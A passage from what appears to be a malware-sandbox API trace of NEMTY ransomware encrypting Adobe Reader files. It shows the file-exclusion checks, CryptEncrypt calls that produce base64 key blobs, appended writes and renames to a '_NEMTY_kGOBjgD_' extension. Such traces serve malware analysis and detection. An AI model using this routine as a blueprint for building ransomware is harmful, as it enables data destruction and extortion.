lstrcmpiW (lpString1="pdf.gif", lpString2="bootmgr") returned 1 [0193.600] lstrcmpiW (lpString1="pdf.gif", lpString2="programdata") returned -1 [0193.600] lstrcmpiW (lpString1="pdf.gif", lpString2="appdata") returned 1 [0193.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdf.gif", lpUsedDefaultChar=0x0) returned 7 [0193.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdf.gif", lpUsedDefaultChar=0x0) returned 7 [0193.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x653ec20, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdf.gif", lpUsedDefaultChar=0x0) returned 7 [0193.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x653ec58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdf.gif", lpUsedDefaultChar=0x0) returned 7 [0193.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94330 [0193.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.600] Sleep (dwMilliseconds=0x5) [0193.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x270c0dd0, dwHighDateTime=0x1d561e8)) [0193.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x270c0dd0, dwHighDateTime=0x1d561e8)) [0193.609] GetLastError () returned 0x0 [0193.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.610] GetLastError () returned 0x0 [0193.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.610] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.610] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="WjWeLgr3SHJy8+CNTeEoJ2RiJECIF4857jTsKdME24suYZuBq4eiWtLJE2s6hPe3\r\nq033wQILXp6Z1GP7/JEkh9gApCOkMm40M3s9sZL8EapPDQw+AxdHpnwGHXghx6V9\r\n6bWfkpFB5NkipLCnbLBOOyNoepD8wxKtmJeG90grXd0WHbEdxxPTa9rZ6sYAFzVg\r\nHxlASbetr4GwOH2fk19jx8NiRk+nkpcHiaBO2QcBA7y/TeQvADwbbMRn3R1p7mKA\r\n9rGdB3MGCK1gOZsqgTo5eR36kcCQ42AfwQaUCMM9UeRpulsPoeWoV3qaE08bhcho\r\nI60gT4oC6jAZkUVWDMlXZg==\r\n", pcchString=0x653e91c) returned 1 [0193.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.610] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.611] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=480) returned 1 [0193.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e0) returned 0x6340048 [0193.611] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.611] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x1e0, lpOverlapped=0x0) returned 1 [0193.612] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.612] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x1e0, lpOverlapped=0x0) returned 1 [0193.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.612] SetFilePointer (in: hFile=0x254, lDistanceToMove=480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0 [0193.612] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.613] CloseHandle (hObject=0x254) returned 1 [0193.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0193.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.613] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif._nemty_kgobjgd_")) returned 1 [0193.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.614] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reviewers.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2=".") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="..") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="...") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="windows") returned -1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="rsa") returned -1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="NTDETECT.COM") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="ntldr") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="MSDOS.SYS") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="IO.SYS") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="boot.ini") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="boot.ini") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="ntuser.dat") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="desktop.ini") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="CONFIG.SYS") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="RECYCLER") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="bootmgr") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="programdata") returned 1 [0193.614] lstrcmpiW (lpString1="reviewers.gif", lpString2="appdata") returned 1 [0193.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviewers.gif", lpUsedDefaultChar=0x0) returned 13 [0193.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviewers.gif", lpUsedDefaultChar=0x0) returned 13 [0193.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviewers.gif", lpUsedDefaultChar=0x0) returned 13 [0193.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviewers.gif", lpUsedDefaultChar=0x0) returned 13 [0193.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.615] Sleep (dwMilliseconds=0x5) [0193.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x270e6f30, dwHighDateTime=0x1d561e8)) [0193.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x270e6f30, dwHighDateTime=0x1d561e8)) [0193.625] GetLastError () returned 0x0 [0193.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.625] GetLastError () returned 0x0 [0193.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.625] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.625] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.625] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.626] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="PVfbAdTzUmcHPBrxsJy1Q/IqfB5c8OS4Bc+OO1er/LbiI+atBYn8YjCXrjkAysJl\r\noOZGDqhD4gwOnbtMnAlXb+pOQcqckbppP505R6zJd+/qtvfY1Nvo38UNlHfwhrQ7\r\n8anmxYQAUKIaiAW1Jr91IQE2xD4yPWn6hm9X0pyqwuRgqHcPLxri/fC32GnAN8IG\r\ntD1YwwNRUNDZwQlqQPjgujPTC4YzeBh9JOHNdQm/vQNskix4LpLwViDST3z2H8dR\r\nfZ7q3q0/bCVQC+Z2xvfY1Je+duSz5BU0uhjYKkQEBuZlRQAcDxeqB2QPcQMZ7xGT\r\nsLmX5HTTy/V/nCdi8k2WcQ==\r\n", pcchString=0x653e91c) returned 1 [0193.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.626] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1452) returned 1 [0193.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a0) returned 0x6343fe8 [0193.626] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.626] ReadFile (in: hFile=0x254, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653eb64*=0x5a0, lpOverlapped=0x0) returned 1 [0193.628] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.628] WriteFile (in: hFile=0x254, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653eb5c*=0x5a0, lpOverlapped=0x0) returned 1 [0193.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0193.628] SetFilePointer (in: hFile=0x254, lDistanceToMove=1452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5ac [0193.628] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.628] CloseHandle (hObject=0x254) returned 1 [0193.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.629] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif._nemty_kgobjgd_")) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.629] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1 [0193.629] lstrcmpiW (lpString1="reviews_joined.gif", lpString2=".") returned 1 [0193.629] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="..") returned 1 [0193.629] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="...") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="windows") returned -1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="rsa") returned -1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="NTDETECT.COM") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="ntldr") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="MSDOS.SYS") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="IO.SYS") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="boot.ini") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="boot.ini") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="ntuser.dat") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="desktop.ini") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="CONFIG.SYS") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="RECYCLER") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="bootmgr") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="programdata") returned 1 [0193.630] lstrcmpiW (lpString1="reviews_joined.gif", lpString2="appdata") returned 1 